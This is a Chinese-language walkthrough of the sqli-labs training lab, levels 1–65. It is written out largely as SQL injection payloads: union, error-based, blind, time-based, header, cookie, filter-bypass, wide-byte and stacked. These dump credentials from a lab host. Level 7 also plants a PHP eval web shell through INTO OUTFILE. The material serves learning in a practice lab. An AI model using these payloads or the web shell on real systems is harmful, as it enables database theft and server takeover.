SQL-lab
sql注入全部解析
1. 单引号字符型注入
- 先看题,要求输入一个数字
入乡随俗,试一试
很显然,会有回显
- 接下来自由发挥,再输入一个2试试,又变了
- 接下来,接下来试一试他的闭合方式
添加完单引号,根据报错的回显,发现他是单引号闭合方式,并且是字符型注入
- 再看一下有几列,看看有哪几列可以回显
在这里我输入了六列进行联合查询,但是显示没有六列,那么就截一半
根据回显,我们发现,第二列和第三列是可以回显的
现在我们就可以查到我们想要的内容
- 查询数据库版本和库名称
-1' union select 1,version,database() --+//要让前边为错“-1”,不让数据库执行前边的语句
- 查询表名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+//group_concat,查询显示所有结果
- 查询列名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=database() and table_name='users' --+
- 查询字段名
-1' union select 1,2,group_concat(password) from security.users --+
第一关结束!!!
2. 数字型注入
- 查看下注入方式
很显然1没有被显示出来,那么就是数字型注入那么不需要再数字的后面加上任何字符
- 看下回显位
- 查库
-1 union select 1,2,database() --+
从这里发现,之后的阶段和第一题几乎一样,除了1后面的‘。。。
不再赘述,下一题,
3.报错注入
查看注入方式
在这里,可以看到,过滤的很严,看不出来是哪种方式闭合,但是可以发现,只有在输入‘的时候会报错,因此猜想是单引号的字符型注入
然而当我再输入的时候查看回显位的时候,这才发现了他的闭合方式,原来是‘)
-1') union select 1,2,3 --+
好了,现在知道闭合方式,那么继续查看回显
剩下的步骤还是和第一关一样,只不过是把1‘换成1’)
给个证明,不多做了
这一关过!!!!
4.”字符型注入
- 查看注入方式,输入1‘不行,1“报错
根据报错显示这道题的闭合方式应该是“)
- 查询回显位
-1") union select 1,2,3 --+//前面一定要是错的
- 查库
-1") union select 1,2,database() --+
显然和第一关一样,不再赘述,过
5. 报错注入
- 在这里,继续查看他的闭合方式以及注入类型
-1' union select 1,2,3 --+
通过报错发现,他的闭合方式是‘而且是字符型注入
- 查看他有没有回显
-1' union select 1,2,3 --+
完了,没有回显了,那么我们就想到报错注入
-1' union select 1,2,3,4 --+
很显然他是会返回错误信息的
因此套用报错注入的公式
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
查表:
?id=-1'union select count(*),1, concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand()*2)) as a from information_schema.tables group by a --+//同时带有随机性
查列:
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.tables group by a --+
查字段:
?id=-1' union select count(*),1, concat('~',(select password from security.users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a --+
建议:背下公式,concat里面的内容是要修改的查询语句//存在一定的概率问题,当出现YOU are in。。。时,多试几次
6. “报错注入
看到这就感觉和第五题应该差不多
- 查看他的闭合方式
?id=1') and 1=2 --+ //1=1时不会报错,1=2时报错
可以看出他的闭合方式是双引号
其实在这里之前我先输如的是‘和” 发现’的时候会返回Yuo are in。。。“的时候发现没有回显,就可以知道他的闭合方式是”“
查库:
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
很显然这道题和第五题一样,不再赘述!!
7. 文件输出
一开始有些无脑,直接试了?ID=1
很显然这里是要导出文件
测试他的闭合方式
再加上一个‘)就可以了
所以,闭合方式是‘))
- 直接写入
注意是否有写入文件的权限?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\q.php" --+
之后用菜刀等链接
8.布尔单引号盲注
经判断,没有回显
查看闭合方式
?id=1' and 1=1 --+
确定是‘的闭合方式
判断是不是报错注入
?id=1' union select 1,2,3,4 --+
很显然不是,而是bool盲注,只显示两种情况
因此,就用猜测的方法
?id=1' and substr(database(),1,1)='s' --+
这里可以借助bp,进行爆破
还可以手工
类似于:
这样:
先猜出database()的长度
再利用ascii码一个一个去猜,一般是利用bp爆破,也可以直接爆破
- 查库
设置爆破词典
直接可以爆破出来
由此可知,库名是security
- 查表:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
介绍一种方法:
利用bp,进行一字母一个字母爆破
- 查字段
自己手动改变第一个1和第3个1,让bp去爆破字母?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='p' --+
剩下的同理。。。过!!!
9.延时注入
- 查看其闭合方式
- 发现无论输入什么,就只有那一句话,这就说明,没有回显,没有报错,不能布尔盲注
那么就只能,利用一下,绝招(绝境用的招数),延时注入
?id=1' and sleep(5) --+
还真睡了5秒
就这样,通过判断真假来让其睡眠
- 查库
判断库的长度
?id=1 and if(length(database())>5,sleep(3),1) --+
之后在尝试找到8,利用bp也可以爆破
之后再构造left语句,查询每一位
?id=1' and if(left(database(),8)-'ssss',sleep(3),1)
只要时间够,利用bp是完全可以爆下来的
- 查表
?id=1' and if(left((select table_name from information_schema.tables where table_schame='sequrity' limit 1,1),1)='s', sleep(3), 1) --+
- 查列
?id=1' and if(left((select column_name from information_schema.columns where table_naem='users' limit 1,1),1)='a',sleep(3),1) --+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+//最终结果
- 查字段
?id=1' and if(left((select password from security.users limit 1,1),1)='p',sleep(3),1) --+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+//最后结果
由于每次都要手动换好几个数,可以利用sqlmap。。
10. 和9题类似,只有 单双引号的区别,不再赘述。。。
只有这种情况下睡眠3秒,因此猜测闭合方式是“。。
11. POST类型的注入
探水:
抓包来看一下
这里之前输入了好多种情况,只有‘才会报错,那么估计闭合方式是‘,再看一下有没有回显
- 查看回显
uname=-admin' union select 1,2#&passwd=admin&submit=Submit
本来之前以为和前十一样,没想到。。。只有两列
说明有回显
查库
uname=-admin' union select database(),2#&passwd=admin&submit=Submit
查表
uname=-admin' union select 1,table_name from information_shema.tabes where table_schema=security #&passwd=admin&submit=Submit
查列
uname=-admin' union select database(),group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=admin&submit=Submit
查字段
uname=-admin' union select database(),group_concat(password) from security.users #&passwd=admin&submit=Submit
过了
12. POST双引号注入
根据之前的经验直接进行抓包
- 看看有没有报错
有报错,也许可以进行报错注入
- 查看闭合方式
是“)的闭合方式
- 试一试能不能联合查询
很显然,有回显,那么和上一题几乎一样
接下来试一下updatexml爆错注入
- 查库
uname=-admin") and updatexml(1,concat('^',(select database()),'^'),1)#&passwd=1&submit=Submi
- 查询所有库
uname=-admin") and updatexml(1,concat('^',(select group_concat(database()) from information_schema.schemata),'^'),1)#&passwd=1&submit=Submi
查表
uname=-admin") and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1)#&passwd=1&submit=Submi
查列
uname=-admin") and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^'),1)#&passwd=1&submit=Submi
注意这里没有全部显示出来,那么就用limit
uname=-admin") and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' limit 4,1),'^'),1)#&passwd=1&submit=Submi
因此,在这里发生了一点小插曲
- 查字段
uname=-admin") and updatexml(1,concat('^',(select group_concat(username,'~',password) from security.users),'^'),1)#&passwd=1&submit=Submi
这里仍然是查询不完整,再用上面的方法就好了
这一关也过了。。。
13. 单引号变形报错注入
代理抓包,送到repeater模块
看一下闭合方式
admin'//能看处什么方式闭合就行
- 根据报错,试一下报错注入
uname=admin') and updatexml(1,concat('^',(select database()),'^'),1)#&passwd=&submit=Submit
注入成功
- 试一下能不能联合注入
很显然不能,那么,就直接用报错注入就好,和12题类似
14. POST型bool盲注
- 猜测闭合方式
admin" and 1=1 #
从这里可以知道“为闭合方式
又因为无论输入什么都不会显示,那么只有延时注入,让他睡几秒
查库
在这里,进行延时注入的时候发现他报错,有可能存在报错注入
延时注入可以爆破,
uname=admin" and updatexml(1,concat('^',(select database()),'^'),1) #&passwd=&submit=Submit
报错注入也可以
下面的就是换语句进行报错注入了,这一关,就先过了
15. 延时注入
- 尝试了,很多方式,没有回显,没有报错
只能用绝招(绝境用的招数),延时注入,让他睡!!!
首先说一下,实在比较麻烦,最好用工具爆破,sqlmap更好
- 查看闭合方式:
只有在__‘的情况下,才会睡觉,呢么闭合方式就是__’
- 查库
uname=admin' and if(substr(database(),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit//使用substr函数,利用bp爆破
- 查表
uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit//这里我用的bp爆破,标记点也已经给出,但是只能爆出第一个,需要我们手动改一下limit,后面的那个值
下面这个就查到了user表!!!
- 查列
查到user列uname=admin' and if(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit
查到password列
利用substr函数切割进行查询,还是很快的
- 查字段
uname=admin' and if(substr((select password from security.users limit 4,1),§1§,1)='§s§',sleep(5),1)#&passwd=&submit=Submit
16. 双引号延时注入
现在本页面看看,是什么样的类型注入,以及他的闭合方式,发现啥也不显示。。。。。。
完犊子了,又是延时,吐了,看一下,闭合方式吧
差点没试出来
admin") and if(1=1,sleep(3),1) #
剩下的就是类似15题吧
17. 基于错误的更新查询
这种情况,一下子给我整懵了,最后就参考别人博客写了一下
https://blog.csdn.net/qq_41420747/article/details/81836327
那么就针对password搞一下吧
- 查找闭合方式
由于报错,那么执行一下报错注入吧
查库
uname=admin&passwd=admin' and updatexml(1,concat('^',database(),'^'),1) #&submit=Submit
额。。。说实话这道题kennel是我的原因,报出来的全是admin,还是看上面的博客吧
18. 用户代理头部注入
看见这样的界面,看见ip,直接抓包
额。。。
看下源代码吧
用户名和密码都做了检查,但是他除了ip还接受了user-agent
查询语句中存在uagent,那么考虑再user-gent中注入
- 查库:
User-Agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '//下面千万要把账号密码带上,不然程序走的是另一条路线
接下来就是🧐构造语句了
19. refer头注入
和18题类似,过。。。
20. cookie注入
输入正确的用户名密码后,看到如下界面
那么就想到cookie了,抓包看一下
- 查看闭合方式
- 看下有没有回显
有回显
- 查库
可以注入
接下来就是在回显的位置构造sql语句了,不再赘述
21. 复杂的字符型注入
继续抓包看一下,发的是啥
一开始以为啥也没有,放了几个包后,发现那个玩意。。。。
意味深长。。。试一下
当然首先是要解密 %3D是=,猜想是base64
nice
在加密那里构造语句,加密后放进cookie里面
- 查看闭合方式
- 查看有没有回显
-admin') union select 1,2,3 #//利用#来注释
编译后的密文
可以查到回显位
接下来,根据那条语句,构造sql语句就可以了,再把语句构造成base64密文,复制到cookie那里
22. 基于错误的双引号注入
继续抓包看一下
还是cookie注入
- 查看闭合方式
-admin"
根据报错说明是“”
查看有没有回显
-admin" union select 1,2,3 #
查库
-admin" union select 1,2,database() #//加密
查表
-admin" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
剩下的就类似之前的语句
23. 过滤掉注释
- 看一下闭合方式
?id=admin'
显然是‘闭合
- 看下有没有回显
?id=admin' union select 1,2,3 --+
没有
- 看下会不会报错
?id=1' and 1=1 --+
看到这里,发现报错就没变过,而且根据报错也能猜到,估计是把注释给过滤掉了。。。
那么就有自己来造闭合语句‘’
- 查库
?id='union select 1,2,3' ?id='union select 1,2,databae()' ?id= ' union select 1,2,group_concat(database()) from information_schema.schemata where 1 or '1'= '
全部的数据库
- 查表
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
- 查列
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
- 查字段
?id='union select 1,group_concat(username),group_concat(password) from security.users where 1 or '1'= '//把句子结构补全不然不让过
过。。。。
24. 出了点问题先跳过
25. AND和or被绕过
- 看一下闭合方式
显然是‘闭合
- 看下有没有回显
?id=-1' union select 1,2,3 --+
还是有回显的
- 查库
?id=-1' union select 1,2,database() --+
- 查表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() --+
看这就出毛病了
but,双写一下就好了啊
加个group_concat完美些
同样,构建password的时候也要写成passwoorrd
这里就不介绍了。。。
26. 过滤一堆的注入
- 查询闭合方式
?id=1' and 1=1 --+
显然是‘闭合
- 查看又没有回显
没有回显,根据提示也能知道
- 看看有没有报错
id=1' anandd 1=2 --
好家伙不仅没有报错,还把and和or过滤了
实在看不出来了,来代码审计吧
好家伙,用了正则,过滤了这么多 or,and ,#,–,/*,/都没了,这里为什么要过滤/*,,,这家伙是多行注释,常用/**/来代替空格
%a0 空格
%09 tab
还有其他方式
?id=1'%09||'1
- 查看闭合方式
由于输入什么都不显示,延时都不行,此案过。。。
27. 过滤union和select的注入
- 查看闭合方式
?id=1'
单引号闭合
- 查看是否有回显(不能用union)
代码审计,看下他过滤掉了哪些
又是一堆正则。。。。。。
- 查看回显
?id=0'%0AUNion%0ASeleCt%0A1,2,3%0Aor%0A'1'= '//最好别用hackbar,会出现问题的
剩下的就类似这样直接查。。。
26,27,28..都是过滤union,select可i用大小写绕过,空格用%a0补充
29. waf保护
- 看看有没有回显
?id=-1' union select 1,2,3 --+
有回显,查库
?id=-1' union select 1,2,database() --+
- 查表
- 查列
- 查字段
想了解waf可以去专门了解一下
30. get——blind waf
果然和上一题一样有点水
- 查表
- 查字段
好家伙这里就不行了,看样子并不是很水
?id=1&id=-1" union select 1,2,group_concat(password) from security.users --+
31. waf
- 看一下闭合方式
- 查看有没有回显
可以根据回显看处数据库
- 查看数据表
- 查看字段
- 查询字段内容
32. 宽字节注入
将/进行url转码,再配合另一个比如%ee合在一起转换成gbk字符,把/吃掉
- 查看是否有回显
?id=-1%ee' union select 1,2,3 --+
- 查库
?id=-1%ee' union select 1,2,3 --+
剩下的基本上就没什么问题了
- 查列,这时候的users需要改变一下
?id=-1%ee' union select 1,2,column_name from information_schcema.columns where table_name='users' --+//不行
?id=-1%ee' union select 1,2,column_name from information_schcema.columns where table_name=0x7573657273 --+//对user进行十六进制编码,此时的‘’可以用0x代替
剩下就没啥了。。。过
33.宽字节注入
仍然是刚才查列的句子,直接爆出来了。。
估计和上一题一样
34. POST型宽字节注入
这样的做法,已经比较熟悉了,看见表单抓包构建payload。。
查看有没有回显,显没有进行查看闭合方式,因为如果闭合方式不对的话,是会报错的
admin%ee' union select 1,2 #
查库
uname=admin%ee' union select 1,database() #&passwd=admin&submit=Submit
查表
uname=admin%ee' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=admin&submit=Submit
查字段
uname=admin%ee' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=admin&submit=Submit
直接报错,根据错误也知道发生了啥
uname=admin%ee' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin&submit=Submit
这样就和谐了。。。
过了,不说了。。。
35. 为什么要有。。。
看这个报错,你会发现,啊这,他好像没有闭合方式呀!!!
- 查看否是否有回显
很显然,这道题还是比较简单的,过了过了。。。
36.
- 查看有没有回显
- 查库
- 查表
- 查字段
- 查字段内容
这道题。。。。不透。。。
重点在这里,但是这个函数对我们来说没有啥用
函数说明
https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
37.POST型宽字节注入
抓包改admin,和36一样,只不过是换了一个注入的位置
过了
38. Future Edition(堆叠查询)
看了一下,可以让我们进行堆叠查询
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句
还是很容易就可以查到的
最后可以让用户名和密码一起查询
http://192.168.220.12/sqli/Less-38/?id=-1'%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20--+
39. STACK Query
- 查看闭合方式
- 很显然是数字型注入,没有闭合方式
直接显示所有数据http://192.168.220.12/sqli/Less-39/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users%20 --+//用户名和密码一起爆
40.堆叠
闭合方式是‘),注入方式同上
41. STACK QUERy 盲注
但还是有回显
http://192.168.220.12/sqli/Less-40/?id=-1%27)%20union%20select%201,2,3%20--+//猜闭合方式就可以了
- 猜测闭合方式
一通乱猜,啥也没有,
就干脆认为是数字型注入,果然是
剩下的就几乎一样了。。。
过了。。。
42. POSt型基于错误的字符型注入
- 看见表单,先抓包看一下
发现账号什么的都不行,那么就想到密码了呗
- 闭合方式
- 看一下有没有回显
无
- 看下报错注入
nice,可以啊
- 查表
- 查列
。。。。之后就不做了
43. POST基于错误的二次堆叠注入
- 查看闭合方式
‘)的闭合方式
- 报错注入
报错注入也不行
走偏了,,这个就是最直接加个分号后面再构造一条sql语句
44. 同理过了,,,
45. 同理
1');insert into users(id,username,password) values(45,'Less45','Less45')#
46. 数字型order by注入
检查是否存在order by注入
?sort = 1+asc
?sort = 1+desc
asc
desc
说明存在order by注入
- 报错注入
47. 字符型order by注入
- 加了单引号的updatxml仍然可以注入
48. 数字型order by盲注
- 检查是否存在order by注入
存在
2. 查看是否有回显
没有
- 试一下报错注入
同样不行
- 绝招,延时注入
?sort=1 and if(substr(database(),1,1)='s',sleep(5),1)--+
这就比较和谐了,之后利用bp爆破吧,和之前类似,设置两个参数,修改一个参数。。
49. 字符型盲注
- 猜测闭合方式
只要带单引号的包括‘,’),均不会正常显示,那么几乎可以确定是‘闭合方式了
- 看下有没有回显
还是没有回显
- 直接延时吧
50. 数字型,堆叠order by注入
存在order by注入
- 查看有没有回显
说明可能存在报错注入
- 尝试报错注入
好吧,还是不行
*延时注入
http://192.168.220.12/sqli/Less-50/?sort=1%20and%20length(database())=8%20and%20if(1=1,sleep(1),1)//多个and,有一个不满组都不行
好吧还是延时注入
接下来,就延时爆破吧
51. 字符型,堆叠,orderby注入
- 查看闭合方式
很显然是‘的闭合方式
- 查看有没有回显
- 直接延时注入吧
同样的套路?sort=1' and length(database())=8 and if(1=1,sleep(2),1) or '1'='1
52.,52,53全部与上面类似
54. 限制次数的查询
- 查看闭合方式
有回显
查库,
?id=0' union select 1,2,database() --+
得到challenges库
查表
?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--+
查段
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='5gp3nwnqh6' --+
- 查字段内容
?id=0%27%20union%20select%201,2,sessid%20from%20challenges.5gp3nwnqh6%20--+
55. 基于小括号的挑战
那啥这道题试上几十次就可以了,发现是)闭合
- 查字段内容
?id=0)%20union%20select%201,2,sessid%20from%20challenges.5gp3nwnqh6%20--+
然后就随便了。。。
56. ‘)挑战
- 寻找闭合方式看看有没有回显
?id=1') --+
?id=0') union select 1,2,3 --+
过了。。。
57. 基于“”的挑战
- 找寻闭合方式
尝试了几次,发现‘,’),”都可以,但是,“)不行
说明,闭合方式就有可能是”,
- 看下有没有回显
找到了,就是双引号,而且还有回显。。。
查库
就直接过了
58. 不能用union select
- 猜测闭合方式
http://192.168.220.12/sqli/Less-58/index.php?id=1%27%20%20--+
‘’的闭合方式
- 查看有没有回显
没有回显
- 查看会不会报错
http://192.168.220.12/sqli/Less-58/index.php?id=0%27%20and%20updatexml(1,concat(%27~%27,(select%20database()),%27~%27),1)%20--+
利用报错逐个查询吧
59. 数字型报错挑战
- 猜测闭合方式
很显然没有
之后就。。。
60. “)闭合方式的挑战
- 查看闭合方式
- 直接看一下能不能报错注入
又是一道改变闭合方式的题
61. ‘))的闭合方式
- 查看闭合方式
- 看一下能不能报错注入
- 报表
- 报列
http://192.168.220.12/sqli/Less-61/?id=1%27))%20and%20updatexml(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27vhe0p7yp4g%27),%27~%27),1)%20--+
- 报字段
http://192.168.220.12/sqli/Less-61/?id=1%27))%20and%20updatexml(1,concat(%27~%27,(select%20sessid%20from%20challenges.vhe0p7yp4g),%27~%27),1)%20--+
改一下,表名就好了。。
62. union select 和 报错都不行的挑战
- 查看闭合方式
‘)的闭合方式
- 看一下有没有回显
没有回显
- 查看能不能报错注入
好家伙,报错也不行
- bool盲注也没有区分,
*没办法,,让他睡觉吧
- 延时注入
http://192.168.220.12/sqli/Less-62/?id=1%27)%20and%20length(database())%3E5%20and%20if(1=1,sleep(2),1)%20--+
那么就开是愉快的爆破吧
- 查库
http://192.168.220.12/sqli/Less-62/?id=1%27)%20and%20substr(database(),1,1)=%27c%27%20and%20if(1=1,sleep(2),1)%20--+//就挑时间长的
- 查表
192.168.220.12/sqli/Less-62/?id=1') and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c' and if(1=1,sleep(2),1) --+
由于次数的限制只能报出一部分,多试几次吧
。。。
63. ‘’挑战
闭合方式是’’
直接延时吧
http://192.168.220.12/sqli/Less-63/index.php?id=1%27%20and%20substr(database(),1,1)=%27c%27%20and%20if(1=1,sleep(3),1)%20--+
64. ))方式
- 闭合方式没猜到,
好损啊,
- 同样存在延时注入
65. )的闭合方式
- 猜测闭合方式
)的闭合方式
- 看看能不能延时注入
千万注意这个小坑,虽然没啥影响,但也是人家的一种思路
可以延时了。。。
OK!!!